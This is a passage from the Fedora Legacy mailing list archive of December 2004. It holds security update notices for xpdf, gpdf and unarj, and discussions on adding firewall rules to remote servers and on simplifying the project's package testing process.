* Thu Oct 28 2004 Rob Myers 2.01-11.1.legacy - patch for CAN-2004-0888 CAN-2004-0889 (FL #2186) - added simple non-security patch for xfont fix fc1: * Thu Oct 21 2004 Rob Myers 1:2.03-1.1.legacy - patch for CAN-2004-0888 CAN-2004-0889 (FL #2186) - include simple non-security xfont patch - fix files listed twice for /usr/share/xpdf/locales --------------------------------------------------------------------- This update can be downloaded from: http://download.fedoralegacy.org/ (sha1sums) rh7.3: 017fba06b9ba578aad48f07ec3c2e6f0f954d781 redhat/7.3/updates-testing/i386/xpdf-1.00-7.2.legacy.i386.rpm ca69e26855214a8225011abb45d03d6452eccc23 redhat/7.3/updates-testing/i386/xpdf-chinese- simplified-1.00-7.2.legacy.i386.rpm aeea1b0952067c77867f2f92bec12af9bd725bc8 redhat/7.3/updates-testing/i386/xpdf-chinese- traditional-1.00-7.2.legacy.i386.rpm 925f505d03d6a1ddced3f8f6579cc6e449f74465 redhat/7.3/updates-testing/i386/xpdf-japanese-1.00-7.2.legacy.i386.rpm 2ab1b844fee2c44f3c4df97661cc301a637b4999 redhat/7.3/updates-testing/i386/xpdf-korean-1.00-7.2.legacy.i386.rpm 3d2cf5b7973d8e56ecf1d98322e8918a1de463b9 redhat/7.3/updates-testing/SRPMS/xpdf-1.00-7.2.legacy.src.rpm rh9: cb457f94ba08d7c8a8750b41596959a6e8e4df01 redhat/9/updates-testing/i386/xpdf-2.01-11.1.legacy.i386.rpm 961cb6ce2a6a9c6eee52eb5cd563e4c13df07c4e redhat/9/updates-testing/i386/xpdf-chinese- simplified-2.01-11.1.legacy.i386.rpm 4f00f288a9ba3c46f7eacbdf026164851b19f5fe redhat/9/updates-testing/i386/xpdf-chinese- traditional-2.01-11.1.legacy.i386.rpm f5629299b07143ef56a9a5d9d03d7909e2bdf226 redhat/9/updates-testing/i386/xpdf-japanese-2.01-11.1.legacy.i386.rpm 229668282ccb0173f8e53cee27a4125d9e69ff8a redhat/9/updates-testing/i386/xpdf-korean-2.01-11.1.legacy.i386.rpm bbec9b7dd219aaddd505b1807f22728211f2786a redhat/9/updates-testing/SRPMS/xpdf-2.01-11.1.legacy.src.rpm fc1: 119e2f11d6037391a9f687c35795afbb563f7b68 fedora/1/updates-testing/i386/xpdf-2.03-1.1.legacy.i386.rpm 4dee0440c3e091eb75777ef3744e3e9158277b3a fedora/1/updates-testing/SRPMS/xpdf-2.03-1.1.legacy.src.rpm --------------------------------------------------------------------- Please test and comment in bugzilla. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From marcdeslauriers at videotron.ca Thu Dec 2 04:20:12 2004 From: marcdeslauriers at videotron.ca (Marc Deslauriers) Date: Wed, 01 Dec 2004 23:20:12 -0500 Subject: Fedora Legacy Test Update Notification: gpdf Message-ID: <1101961212.30678.1.camel@mdlinux> --------------------------------------------------------------------- Fedora Legacy Test Update Notification FEDORALEGACY-2004-2195 Bugzilla https://bugzilla.fedora.us/show_bug.cgi?id=2195 2004-12-01 --------------------------------------------------------------------- Name : gpdf Versions : fc1: gpdf-0.110-1.2.legacy Summary : viewer for Portable Document Format (PDF) files for GNOME Description : This is GPdf, a viewer for Portable Document Format (PDF) files for GNOME. GPdf is based on the Xpdf program and uses additional GNOME libraries for better desktop integration. --------------------------------------------------------------------- Update Information: An updated gpdf package that fixes a number of integer overflow security flaws is now available. GPdf is a viewer for Portable Document Format (PDF) files for GNOME. During a source code audit, Chris Evans and others discovered a number of integer overflow bugs that affected all versions of xpdf. These issues also affect gpdf as it is based on xpdf source code. An attacker could construct a carefully crafted PDF file that could cause gpdf to crash or possibly execute arbitrary code when opened. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2004-0888 to this issue. Users of gpdf are advised to upgrade to this errata package, which contains a backported patch correcting these issues. --------------------------------------------------------------------- Changelogs fc1: * Tue Nov 30 2004 Marc Deslauriers 0.110-1.2.legacy - Added missing gettext BuildRequires * Thu Oct 28 2004 Rob Myers 0.110-1.1.legacy - patch for CAN-2004-0888 CAN-2004-0889 (FL #2186, #2195) --------------------------------------------------------------------- This update can be downloaded from: http://download.fedoralegacy.org/ (sha1sums) fc1: 5f64cfd5be571ffcb49f1cf067603165decc2318 fedora/1/updates-testing/i386/gpdf-0.110-1.2.legacy.i386.rpm 7795c1af751bb28a443d60508436b539b34f0d81 fedora/1/updates-testing/SRPMS/gpdf-0.110-1.2.legacy.src.rpm --------------------------------------------------------------------- Please test and comment in bugzilla. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From troels at arvin.dk Thu Dec 2 09:21:39 2004 From: troels at arvin.dk (Troels Arvin) Date: Thu, 02 Dec 2004 10:21:39 +0100 Subject: Iplementing a firewall after-the-fact References: <1101944314.6659.209875920@webmail.messagingengine.com> <1101948943.14820.108.camel@quirk.cisco.com> Message-ID: On Wed, 01 Dec 2004 16:55:44 -0800, Howard B Owen wrote: > A > packet filter can often let you know when someone port scans your > system. True. And there was a time when I would closely monitor for suspicious probes, but I've abandoned that "hobby": What security do I gain from knowing that someone is trying to do something which is basically not dangarous (like trying to access a port on which nothing listens)? > Secondly, in the case where a service must listen on a port, but > wants to restrict access by source IP, a packet filter can protect you > from attacks against the server launched from the banned networks. That's true: If the application itself doesn't offer a way to restrict by IP or network, then packet filtering is a handy alternative (which I also use in some cases). Also, some software doesn't allow you to specify which interfaces to listen to, and in that case, iptables is also nice. > Of course, firewalls > themselves can get pretty complicated, too. Exactly. And the netfilter software _is_ still software, meaning that it can contain bugs - bugs that will even run in kernel space. There haven't been any seriously ugly security bugs in the netfilter code yet, but the code _could_ contain security problems in itself. That's another reason why I strive to obtain installations which don't need packet filtering. > Another thing you can try is a cron or at > job that runs 'service iptables stop' at a designated interval after you > implement your rules. Yes, that's a handy trick. Thanks to you and Alexander for pointing that out. -- Greetings from Troels Arvin, Copenhagen, Denmark From sshoemaker at perfectorder.com Thu Dec 2 12:30:48 2004 From: sshoemaker at perfectorder.com (Seth Shoemaker) Date: Thu, 02 Dec 2004 07:30:48 -0500 Subject: Iplementing a firewall after-the-fact Message-ID: <3684039dc2.39dc236840@poss.com> Another thing with Bind is that in Version 9, they added something called "Views" and with them you can say that certain IP's can see this view and nothing else can. They are very helpful (especially if you don't want people outside seeing your internal host names if they have external addresses). Seth Shoemaker ----- Original Message ----- From: Troels Arvin Date: Wednesday, December 1, 2004 7:09 pm Subject: Re: Iplementing a firewall after-the-fact > On Wed, 01 Dec 2004 15:38:34 -0800, Eric Wagar wrote: > > > Is there a safe way to implement a firewall (ipchains/iptables) > after> the fact? After the fact being after I have already > deployed the system > > at a remote site? > > Remote playing with packet filters is tricky, because you - > obviously - > face the risk of shutting yourself out. I have tried that situation > myself, and I have seen others trapped in it. > > > I only have ports 21, 22, 25, 80, and 8080 needing to be public, > with 53 > > needing to be open to the subnet. Everything else needs to be > turned> "off" or filtered. > > I believe it's better and safer to simply clean+tighten up the system: > > 1. Uninstall unneeded software. > 2. Close down unneeded network daemons which - for some > reason - cannot be uninstalled. > 3. Upgrade remaining software if security > bugfixes have been released. > 4. Use a command like > netstat -naep | grep -v '^unix' | egrep '(LISTEN|udp)' > to identify what might still be running+listening > on the network. > 5. Limit remaining daemons to only listen on the "lo" > (and possibly other) interface(s), where possible. > 6. Look at what users/privileges the remaining daemons are > running as/with and see if it's possible and relevant > to tighten up. > 7. Consider running (some of the) remaining daemons in > a chroot'ed environment. > > By now, ipchains/iptables could very well be unneeded (and thus > candidatesfor deletion, per rule 1), because all that's listening > really should be > available, so packet filtering is waste of clock cycles and just > anothererror-potential. > > When I say "better and safer", it's because such a methology leads to > simpler/leaner setups, less resources being used by unneeded > software, and > less software to keep updated. > > In the case of port 53 where you want it open to a specific > subnet: BIND > can easily be configured for such needs, through its "listen-on" > and/or"listen-on-v6" configuration options. > > -- > Greetings from Troels Arvin, Copenhagen, Denmark > > > -- > fedora-legacy-list mailing list > fedora-legacy-list at redhat.com > http://www.redhat.com/mailman/listinfo/fedora-legacy-list > -------------- next part -------------- A non-text attachment was scrubbed... Name: sshoemaker.vcf Type: text/x-vcard Size: 307 bytes Desc: Card for Seth Shoemaker URL: From sshoemaker at perfectorder.com Thu Dec 2 12:30:48 2004 From: sshoemaker at perfectorder.com (Seth Shoemaker) Date: Thu, 02 Dec 2004 07:30:48 -0500 Subject: Iplementing a firewall after-the-fact Message-ID: <3684039dc2.39dc236840@poss.com> Another thing with Bind is that in Version 9, they added something called "Views" and with them you can say that certain IP's can see this view and nothing else can. They are very helpful (especially if you don't want people outside seeing your internal host names if they have external addresses). Seth Shoemaker ----- Original Message ----- From: Troels Arvin Date: Wednesday, December 1, 2004 7:09 pm Subject: Re: Iplementing a firewall after-the-fact > On Wed, 01 Dec 2004 15:38:34 -0800, Eric Wagar wrote: > > > Is there a safe way to implement a firewall (ipchains/iptables) > after> the fact? After the fact being after I have already > deployed the system > > at a remote site? > > Remote playing with packet filters is tricky, because you - > obviously - > face the risk of shutting yourself out. I have tried that situation > myself, and I have seen others trapped in it. > > > I only have ports 21, 22, 25, 80, and 8080 needing to be public, > with 53 > > needing to be open to the subnet. Everything else needs to be > turned> "off" or filtered. > > I believe it's better and safer to simply clean+tighten up the system: > > 1. Uninstall unneeded software. > 2. Close down unneeded network daemons which - for some > reason - cannot be uninstalled. > 3. Upgrade remaining software if security > bugfixes have been released. > 4. Use a command like > netstat -naep | grep -v '^unix' | egrep '(LISTEN|udp)' > to identify what might still be running+listening > on the network. > 5. Limit remaining daemons to only listen on the "lo" > (and possibly other) interface(s), where possible. > 6. Look at what users/privileges the remaining daemons are > running as/with and see if it's possible and relevant > to tighten up. > 7. Consider running (some of the) remaining daemons in > a chroot'ed environment. > > By now, ipchains/iptables could very well be unneeded (and thus > candidatesfor deletion, per rule 1), because all that's listening > really should be > available, so packet filtering is waste of clock cycles and just > anothererror-potential. > > When I say "better and safer", it's because such a methology leads to > simpler/leaner setups, less resources being used by unneeded > software, and > less software to keep updated. > > In the case of port 53 where you want it open to a specific > subnet: BIND > can easily be configured for such needs, through its "listen-on" > and/or"listen-on-v6" configuration options. > > -- > Greetings from Troels Arvin, Copenhagen, Denmark > > > -- > fedora-legacy-list mailing list > fedora-legacy-list at redhat.com > http://www.redhat.com/mailman/listinfo/fedora-legacy-list > -------------- next part -------------- A non-text attachment was scrubbed... Name: sshoemaker.vcf Type: text/x-vcard Size: 307 bytes Desc: Card for Seth Shoemaker URL: From eric at deadhookers.org Thu Dec 2 18:31:19 2004 From: eric at deadhookers.org (Eric Wagar) Date: Thu, 02 Dec 2004 10:31:19 -0800 Subject: Web proxy through a frame Message-ID: <1102012279.11863.209940890@webmail.messagingengine.com> I run an adult site that is blocked by my day employers's proxy. I'd like to know of a proxy I can install on my server that will create a frame, which the frame will be where the content will be displayed. I can get to the server by IP, so I can install it in a directory served by the default IP Apache server. Unfortunately, if I were to use Apache's ServerAlias line in the config file, I'd still be banned because of files that use the blocked domainname. Also, since I need to log into the site as different users, I need it to support cookies, etc. And, for security, it needs to be some app that I can install on my server. Thanks eric -- Eric Wagar eric at deadhookers.org From marcus.lauer at nyu.edu Thu Dec 2 18:42:33 2004 From: marcus.lauer at nyu.edu (Marcus Lauer) Date: 02 Dec 2004 13:42:33 -0500 Subject: Web proxy through a frame In-Reply-To: <1102012279.11863.209940890@webmail.messagingengine.com> References: <1102012279.11863.209940890@webmail.messagingengine.com> Message-ID: <1102012953.14224.5.camel@bizzaro.psych.nyu.edu> You know, you're posting these questions to the wrong mailing list. Try the general RedHat list (redhat-list at redhat.com), or the Fedora list (fedora-list at redhat.com) if you're using Fedora Core. I don't understand why people are answering these questions either. This mailing list is for the Fedora Legacy project (http://www.fedoralegacy.org/), and is just about coordinating the release of security updates for older versions of RedHat Linux, right? -- Marcus From eric at deadhookers.org Thu Dec 2 18:54:10 2004 From: eric at deadhookers.org (Eric Wagar) Date: Thu, 02 Dec 2004 10:54:10 -0800 Subject: Web proxy through a frame In-Reply-To: <1102012953.14224.5.camel@bizzaro.psych.nyu.edu> References: <1102012279.11863.209940890@webmail.messagingengine.com> <1102012953.14224.5.camel@bizzaro.psych.nyu.edu> Message-ID: <1102013650.14487.209943021@webmail.messagingengine.com> > You know, you're posting these questions to the wrong mailing > list. Try the general RedHat list (redhat-list at redhat.com), or the > Fedora list (fedora-list at redhat.com) if you're using Fedora Core. > > I don't understand why people are answering these questions > either. This mailing list is for the Fedora Legacy project > (http://www.fedoralegacy.org/), and is just about coordinating the > release of security updates for older versions of RedHat Linux, right? Well, since I am RH9, I was under the impression that was legacy. Am I incorrect in thinking that? -- Eric Wagar eric at deadhookers.org From marcus.lauer at nyu.edu Thu Dec 2 18:58:46 2004 From: marcus.lauer at nyu.edu (Marcus Lauer) Date: 02 Dec 2004 13:58:46 -0500 Subject: Web proxy through a frame In-Reply-To: <1102013650.14487.209943021@webmail.messagingengine.com> References: <1102012279.11863.209940890@webmail.messagingengine.com> <1102012953.14224.5.camel@bizzaro.psych.nyu.edu> <1102013650.14487.209943021@webmail.messagingengine.com> Message-ID: <1102013926.14224.10.camel@bizzaro.psych.nyu.edu> On Thu, 2004-12-02 at 13:54, Eric Wagar wrote: > > You know, you're posting these questions to the wrong mailing > > list. Try the general RedHat list (redhat-list at redhat.com), or the > > Fedora list (fedora-list at redhat.com) if you're using Fedora Core. > > > > I don't understand why people are answering these questions > > either. This mailing list is for the Fedora Legacy project > > (http://www.fedoralegacy.org/), and is just about coordinating the > > release of security updates for older versions of RedHat Linux, right? > > Well, since I am RH9, I was under the impression that was legacy. Am I > incorrect in thinking that? Basically, yes. "Fedora Legacy" is a proper name. It refers to a community-based project for creating security updates for older versions of RedHat. This mailing list is for that _project_, not specifically for questions about old versions of RedHat. Your questions aren't related to this project, so they're off-topic on this list. As I said though, there are other RedHat lists where you can get help. -- Marcus Lauer Lab Manager for the Curtis Lab Psychology Department, NYU Phone: (212)998-8347 http://psych.nyu.edu/curtislab/ From rostetter at mail.utexas.edu Thu Dec 2 19:02:39 2004 From: rostetter at mail.utexas.edu (Eric Rostetter) Date: Thu, 2 Dec 2004 13:02:39 -0600 Subject: Web proxy through a frame In-Reply-To: <1102013650.14487.209943021@webmail.messagingengine.com> References: <1102012279.11863.209940890@webmail.messagingengine.com> <1102012953.14224.5.camel@bizzaro.psych.nyu.edu> <1102013650.14487.209943021@webmail.messagingengine.com> Message-ID: <1102014159.302ee4f7957e6@mail.ph.utexas.edu> Quoting Eric Wagar : > > You know, you're posting these questions to the wrong mailing > > list. Try the general RedHat list (redhat-list at redhat.com), or the > > Fedora list (fedora-list at redhat.com) if you're using Fedora Core. I don't know where the correct list is, but this surely is not the correct list. > > I don't understand why people are answering these questions > > either. This mailing list is for the Fedora Legacy project > > (http://www.fedoralegacy.org/), and is just about coordinating the > > release of security updates for older versions of RedHat Linux, right? > > Well, since I am RH9, I was under the impression that was legacy. Am I > incorrect in thinking that? RH9 is legacy. But the Fedora Legacy list is for discussions involving the Fedora Legacy project, its security updates and/or bug fixes. This includes questions about installation or updating of packages, using the tools provided to keep a system up to date, discussions of bugs or security issues, and discussion about the FL project itself. It does not include discussions about day-to-day operation of Red Hat Linux or Fedora Core systems or their packages, except as related to FL updates to them. So this is very much the wrong list for your type of question. > -- > Eric Wagar > eric at deadhookers.org -- Eric Rostetter From eric at deadhookers.org Thu Dec 2 19:07:43 2004 From: eric at deadhookers.org (Eric Wagar) Date: Thu, 02 Dec 2004 11:07:43 -0800 Subject: Web proxy through a frame In-Reply-To: <1102014159.302ee4f7957e6@mail.ph.utexas.edu> References: <1102012279.11863.209940890@webmail.messagingengine.com> <1102012953.14224.5.camel@bizzaro.psych.nyu.edu> <1102013650.14487.209943021@webmail.messagingengine.com> <1102014159.302ee4f7957e6@mail.ph.utexas.edu> Message-ID: <1102014463.16768.209944189@webmail.messagingengine.com> > > > You know, you're posting these questions to the wrong mailing > > > list. Try the general RedHat list (redhat-list at redhat.com), or the > > > Fedora list (fedora-list at redhat.com) if you're using Fedora Core. > > I don't know where the correct list is, but this surely is not the > correct > list. > > > > I don't understand why people are answering these questions > > > either. This mailing list is for the Fedora Legacy project > > > (http://www.fedoralegacy.org/), and is just about coordinating the > > > release of security updates for older versions of RedHat Linux, right? > > > > Well, since I am RH9, I was under the impression that was legacy. Am I > > incorrect in thinking that? > > RH9 is legacy. But the Fedora Legacy list is for discussions involving > the Fedora Legacy project, its security updates and/or bug fixes. This > includes questions about installation or updating of packages, using the > tools provided to keep a system up to date, discussions of bugs or > security > issues, and discussion about the FL project itself. It does not include > discussions about day-to-day operation of Red Hat Linux or Fedora Core > systems or their packages, except as related to FL updates to them. > > So this is very much the wrong list for your type of question. For better use of resources, I have found and subscribed myself to the redhat-list. Thanks for the assistance. Regards eric -- Eric Wagar eric at deadhookers.org From jcrowe at sagesys.net Thu Dec 2 19:50:29 2004 From: jcrowe at sagesys.net (Jonathan Crowe) Date: Thu, 02 Dec 2004 11:50:29 -0800 Subject: Iplementing a firewall after-the-fact In-Reply-To: <20041202170017.E44C974515@hormel.redhat.com> References: <20041202170017.E44C974515@hormel.redhat.com> Message-ID: <41AF7205.4070003@sagesys.net> Here is what I do when I have to change iptable rules on a remote server. We are running RedHat. If there is a local user that I can talk through logging in to the console: 1) ssh into the machine. 2) create an /etc/sysconfig/iptables that is completely open , nothing blocked at all. 3) create a copy called /etc/sysconfig/iptables.emergency.restore 4) create a bash script and sudo user that can copy iptables.emergency.restore back over iptables. ( script should also restart iptables) 5) test to make sure that that user can in fact run the script and it does overwrite iptables and restart the daemon. 6) make changes to /etc/sysconfig/iptables as required to tighten things up. (don't forget to allow ssh from your ip!!!) 7) test to make sure you are not locked out and that the users can still get everything they need. 8) tweak as needed. 9) copy /etc/sysconfig/iptables to /etc/sysconfig/iptables.last.working 10) create a script and sudo user that can copy iptables.last working over top of iptables. 11) every time you tweak the iptable rules, test for a day then copy iptables to iptables.last.working You now have 3 choices when you lock yourself out. 1) Talk a local user through logging onto the console and restoring to iptables.emergency.restore 2) Talk a local user through logging onto the console and restoring to iptables.last working 3) Talk a local user through logging onto the console and shutting iptables off manually. If there is no local user that I can talk through logging into the console I do the above except that I put the iptables.last.working script onto the end of /etc/rc.local . This way a reboot gets me back to a known good state. If you are really stuck you can at least have someone kick the cord out for you. -- Jonathan Crowe System Administrator for Sage Systems, Inc. 425-451-2484 x 3025 From diogenes at xenodochy.org Fri Dec 3 00:13:14 2004 From: diogenes at xenodochy.org (Ralph E. Kenyon, Jr.) Date: Thu, 02 Dec 2004 19:13:14 -0500 Subject: Web proxy through a frame In-Reply-To: <1102013926.14224.10.camel@bizzaro.psych.nyu.edu> References: <1102012279.11863.209940890@webmail.messagingengine.com> <1102012953.14224.5.camel@bizzaro.psych.nyu.edu> <1102013650.14487.209943021@webmail.messagingengine.com> <1102013926.14224.10.camel@bizzaro.psych.nyu.edu> Message-ID: On 02 Dec 2004 13:58:46 -0500, Marcus Lauer wrote: > On Thu, 2004-12-02 at 13:54, Eric Wagar wrote: >> > You know, you're posting these questions to the wrong mailing >> > list. Try the general RedHat list (redhat-list at redhat.com), or the >> > Fedora list (fedora-list at redhat.com) if you're using Fedora Core. >> > >> > I don't understand why people are answering these questions >> > either. This mailing list is for the Fedora Legacy project >> > (http://www.fedoralegacy.org/), and is just about coordinating the >> > release of security updates for older versions of RedHat Linux, right? >> >> Well, since I am RH9, I was under the impression that was legacy. Am I >> incorrect in thinking that? > > Basically, yes. "Fedora Legacy" is a proper name. It refers to > a community-based project for creating security updates for older > versions of RedHat. This mailing list is for that _project_, not > specifically for questions about old versions of RedHat. Your questions > aren't related to this project, so they're off-topic on this list. As I > said though, there are other RedHat lists where you can get help. > Redhat 8 is served by the Shrike list "shrike-list at redhat.com". You need to sign up for the list. Check Redhat lists. -- Ralph E. Kenyon, Jr. http://www.xenodochy.org/ralph.html 191 White Oaks Road Williamstown, MA 01267-2259 Phone: 413-458-3597 Home pages: http://www.xenodochy.org http://www.ballroomdances.org ------------------------------------------------------- FIGHT SPAM http://www.xenodochy.org/diogenes/antispam.html (If you are thinking about collecting my email address, read the above page first!) -------------------------------------------------------- Keep our semantic environments and cyberspace clean. Always report errors discovered while surfing the web. ------------------------------------------------------ My favorite saying (from general semantics): It's not that seeing is believing, believing is seeing, and we're much better at believing than we are at seeing. http://www.xenodochy.org/ex/quotes/santayana.html From marcdeslauriers at videotron.ca Fri Dec 3 02:48:22 2004 From: marcdeslauriers at videotron.ca (Marc Deslauriers) Date: Thu, 02 Dec 2004 21:48:22 -0500 Subject: rh7.3 apache in updates-testing Message-ID: <1102042102.32368.2.camel@mdlinux> Hi everyone, I would like to release the updated httpd packages for rh9 and fc1 that are in testing right now. Could someone please test the apache/mod_ssl packages that are in the rh7.3 updates-testing repository and put a +VERIFY in bugzilla please? Thanks! Marc. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From pekkas at netcore.fi Fri Dec 3 10:00:58 2004 From: pekkas at netcore.fi (Pekka Savola) Date: Fri, 3 Dec 2004 12:00:58 +0200 (EET) Subject: how to improve the efficiency [Re: Round-up, 2004-11-28] In-Reply-To: <1101734391.23488.4.camel@mdlinux> References: <20041128181125.GA3941@home.thedom.org> <1101734391.23488.4.camel@mdlinux> Message-ID: On Mon, 29 Nov 2004, Marc Deslauriers wrote: > On Mon, 2004-11-29 at 09:02 +0200, Pekka Savola wrote: >> accounts). Is there any chance of making the update creation and >> verification a bit simpler, so that it wouldn't take so damned huge >> amount of work to get an update out..? > > It would be nice to simplify the process so more users can contribute. > Do you have any suggestions? OK, let me try to see if I could improve this a bit. Use of Bugzilla: - having to register a fedora.us bugzilla account, it would be better to use RH's bugzilla if possible/reasonable. - bugzilla being too user-unfriedly; for example, the GUI at http://bugzilla.fedora.us/query.cgi has _way_ too many options and scares people away. You'll definitely want something simpler, like the interface Red Hat is using. Use of PGP signatures: - Is it necessary to use PGP signatures when reporting at bugzilla? Bugzilla already provides user authentication, so this only gives relatively little additional protection. It's much simpler if you would not need to hassle with PGP at all if you just want to report whether a package works or not. It's (more) OK to require the use of PGP for those who submit the actual packages, etc., though. Documenting the process very clearly and providing tools to help in the process: - the QA Testing process needs to be much more explicit on what _exactly_ should be done at each step of the process: 1) REQUIRED to do 2) RECOMMENDED to do - For example: updates-testing says: 1. Download the binary RPM package from the updates-testing channel. 2. Verify the integrity of the downloaded package (see http://www.fedoralegacy.org/about/security.php). 3. Install the package, and note any installation problems. 4. Use the package (as appropriate for the package), and note any problems found. These must be more explicit. What exactly must be verified at "2"? How do you report being successful after "4"? The same applies to the rest. We'll need a (hopefully short and concise) list which we can point people to, and say "follow these 3 steps and you're done." If it's a lot of steps (more than, say, 5), we'll want to create scripts to help in the process -- e.g., one which compares the original SRPM and the updated SRPM and shows the results (recursing through tarballs etc.); one that does the same for binaries; etc. -- I think these have already circulated on a list half a year ago or so. There should also be more documentation at least on following: 1) documenting new vulnerabilities (I think Jesse has mostly been doing this) -- in bugzilla? 2) how you proceed if there is new vulnerability in the same package which is already in the process but not released to updates yet. 3) how do you go about from proposing an updated package (in response to 1), and how that gets into the build system. -- Pekka Savola "You each name yourselves king, yet the Netcore Oy kingdom bleeds." Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings From madlists at teaparty.net Fri Dec 3 11:06:37 2004 From: madlists at teaparty.net (Tom Yates) Date: Fri, 3 Dec 2004 11:06:37 +0000 (GMT) Subject: how to improve the efficiency In-Reply-To: References: <20041128181125.GA3941@home.thedom.org> <1101734391.23488.4.camel@mdlinux> Message-ID: On Fri, 3 Dec 2004, Pekka Savola wrote: > Use of Bugzilla: > - having to register a fedora.us bugzilla account, it would be better to use > RH's bugzilla if possible/reasonable. > - bugzilla being too user-unfriedly; for example, the GUI at > http://bugzilla.fedora.us/query.cgi has _way_ too many options and scares > people away. You'll definitely want something simpler, like the interface > Red Hat is using. > > Use of PGP signatures: > - Is it necessary to use PGP signatures when reporting at bugzilla? Bugzilla > already provides user authentication, so this only gives relatively little > additional protection. It's much simpler if you would not need to hassle > with PGP at all if you just want to report whether a package works or not. > It's (more) OK to require the use of PGP for those who submit the actual > packages, etc., though. i know this may sound contrary, but - as a fairly new tester - i figure i'll post a different viewpoint. i don't care which bugzilla i use. mozilla remembers the passwords for me, and it's fine to let it do that, as gpg provides the real security. i don't find it a hassle to gpg-sign my postings, and i think there's a real benefit there; password authentication isn't as secure as a digital signature. i never use the search engine on bugzilla; thanks to the excellent round-up postings which include links for all the relevant packages, i can go direct to the page to report results. but you may be right about the complexity of the engine. > - For example: updates-testing says: > > 1. Download the binary RPM package from the updates-testing channel. > 2. Verify the integrity of the downloaded package (see > http://www.fedoralegacy.org/about/security.php). > 3. Install the package, and note any installation problems. > 4. Use the package (as appropriate for the package), and note any problems > found. > > These must be more explicit. What exactly must be verified at "2"? How do > you report being successful after "4"? as to how to report success, it's fairly clear to me that a "++VERIFY", with sha1sums of the relevant packages, suffices. i can't remember how i worked that out, though, so it may well be useful to be clear about it. regarding 2, i take my lead from other reports. people tend to post a one-liner about the nature of the testing: "installed, ran a couple of simple python scripts, it works", or "i use mod_ssl extensively, about 15,000 squirrelmail transactions were made with the new module, it works" and let whomsoever is making the "publish to updates" decision decide whether or not my testing suffices by way of verification. i assume that's better than some arbitrary standard ("you must run at least two different scripts, or conduct five web transactions, or ten desktop transactions, with the new package"), but i'm happy to be told that i'm doing it wrong, and some other way would be more helpful. > 2) how you proceed if there is new vulnerability in the same package which > is already in the process but not released to updates yet. again, i've left that to the publishers. if i'm running a package from updates-testing, i report it via bugzilla, trying to include detail without prolixity, and let the powers that be decide if my input is of any use. if something more focussed would be more useful, then please let the powers say so! -- Tom Yates Cambridge, UK. From marcdeslauriers at videotron.ca Fri Dec 3 13:07:01 2004 From: marcdeslauriers at videotron.ca (Marc Deslauriers) Date: Fri, 03 Dec 2004 08:07:01 -0500 Subject: Fedora Legacy Test Update Notification: unarj Message-ID: <1102079221.9121.0.camel@mdlinux> --------------------------------------------------------------------- Fedora Legacy Test Update Notification FEDORALEGACY-2004-2272 Bugzilla https://bugzilla.fedora.us/show_bug.cgi?id=2272 2004-12-02 --------------------------------------------------------------------- Name : unarj Versions : rh7.3: unarj-2.63a-4.0.7.3.1.legacy Versions : rh9: unarj-2.63a-4.0.9.1.legacy Versions : fc1: unarj-2.63a-4.1.1.legacy Summary : An uncompressor for .arj format archive files. Description : The UNARJ program is used to uncompress .arj format archives. The .arj format archive was mostly used on DOS machines. --------------------------------------------------------------------- Update Information: Updated unarj packages that fixes a number of security flaws are now available. A buffer overflow bug has been discovered in unarj when handling long file names contained in an archive. An attacker could create an archive with a specially crafted path which could cause unarj to crash or execute arbitrary instructions. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2004-0947 to this issue. Additionally, a path traversal vulnerability exists in unarj which allows an attacker to extract files to the parent ("..") directory. When used recursively, this vulnerability can be used to overwrite critical system files and programs. Users of unarj are advised to upgrade to these errata packages, which contain a backported patch correcting these issues. --------------------------------------------------------------------- Changelogs rh73: * Thu Nov 11 2004 Rob Myers 2.63a-4.0.7.3.1.legacy - rebuild for rh73 - fixes CAN-2004-0947 (FL #2272) * Wed Nov 10 2004 Lon Hohberger 2.63a-7 - Fix directory traversal & buffer overflow. #138468 rh9: * Thu Nov 11 2004 Rob Myers 2.63a-4.0.9.1.legacy - rebuild for rh9 - fixes CAN-2004-0947 (FL #2272) * Wed Nov 10 2004 Lon Hohberger 2.63a-7 - Fix directory traversal & buffer overflow. #138468 fc1: * Thu Nov 11 2004 Rob Myers 2.63a-4.1.1.legacy - rebuild for FC1 - fixes CAN-2004-0947 (FL #2272) * Wed Nov 10 2004 Lon Hohberger 2.63a-7 - Fix directory traversal & buffer overflow. #138468 --------------------------------------------------------------------- This update can be downloaded from: http://download.fedoralegacy.org/ (sha1sums) rh7.3: 8b07f5d8a514324da4097fa5e5fe45ab693fba54 redhat/7.3/updates-testing/i386/unarj-2.63a-4.0.7.3.1.legacy.i386.rpm 07a12c321015017d0813cb107758df017119d9ac redhat/7.3/updates-testing/SRPMS/unarj-2.63a-4.0.7.3.1.legacy.src.rpm rh9: a6151b99a058e254d76de4fe73b769fe0978f851 redhat/9/updates-testing/i386/unarj-2.63a-4.0.9.1.legacy.i386.rpm b88dc2c7dad960fdf9fe5392ef4715deca699287 redhat/9/updates-testing/SRPMS/unarj-2.63a-4.0.9.1.legacy.src.rpm fc1: ea630f037afc90ab60cc85e230b64e54141535c9 fedora/1/updates-testing/i386/unarj-2.63a-4.1.1.legacy.i386.rpm d44d03bc24fc9459bd0bd4ed42d7802ca53d74c3 fedora/1/updates-testing/SRPMS/unarj-2.63a-4.1.1.legacy.src.rpm --------------------------------------------------------------------- Please test and comment in bugzilla. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From jpdalbec at ysu.edu Fri Dec 3 15:11:04 2004 From: jpdalbec at ysu.edu (John Dalbec) Date: Fri, 03 Dec 2004 10:11:04 -0500 Subject: Cyrus IMAPD, Sun Java vulnerabilities Message-ID: <41B08208.3050906@ysu.edu> Do these issues apply to -legacy? 04.47.8 CVE: CAN-2004-1011, CAN-2004-1012, CAN-2004-1013, CAN-2004-1015 Platform: Unix Title: Cyrus IMAPD Multiple Remote Vulnerabilities Description: Cyrus IMAPD is an IMAP daemon. It is reported to be vulnerable to multiple remote buffer overflow issues. Cyrus IMAPD versions 2.2.4 to 2.2.8 are reported to be vulnerable. Ref: 